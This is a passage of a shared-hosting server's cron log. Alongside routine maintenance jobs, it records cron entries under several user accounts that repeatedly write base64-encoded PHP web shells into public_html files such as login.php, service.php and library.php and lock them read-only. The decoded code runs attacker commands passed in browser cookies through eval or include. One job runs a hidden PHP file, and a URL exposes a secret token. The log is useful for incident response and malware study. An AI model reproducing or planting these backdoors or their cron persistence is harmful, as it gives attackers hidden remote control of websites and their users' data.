UT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:52:02 medusa CROND[19340]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:52:02 medusa CROND[19341]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:52:02 medusa CROND[19337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:52:02 medusa CROND[19351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:52:02 medusa CROND[19354]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:52:02 medusa CROND[19356]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:52:02 medusa CROND[19334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:53:01 medusa CROND[21893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:53:01 medusa CROND[21947]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:53:01 medusa CROND[21948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:53:01 medusa CROND[21949]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:53:01 medusa CROND[21951]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:53:01 medusa CROND[21952]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:53:01 medusa CROND[21954]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:53:01 medusa CROND[21956]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:53:01 medusa CROND[21961]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:53:01 medusa CROND[21962]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:53:01 medusa CROND[21964]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:53:01 medusa CROND[21971]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:54:02 medusa CROND[27549]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:54:02 medusa CROND[27550]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:54:02 medusa CROND[27553]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:54:02 medusa CROND[27554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:54:02 medusa CROND[27555]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:54:02 medusa CROND[27556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:54:02 medusa CROND[27561]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:54:02 medusa CROND[27560]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:54:02 medusa CROND[27559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:54:02 medusa CROND[27567]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:54:02 medusa CROND[27568]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
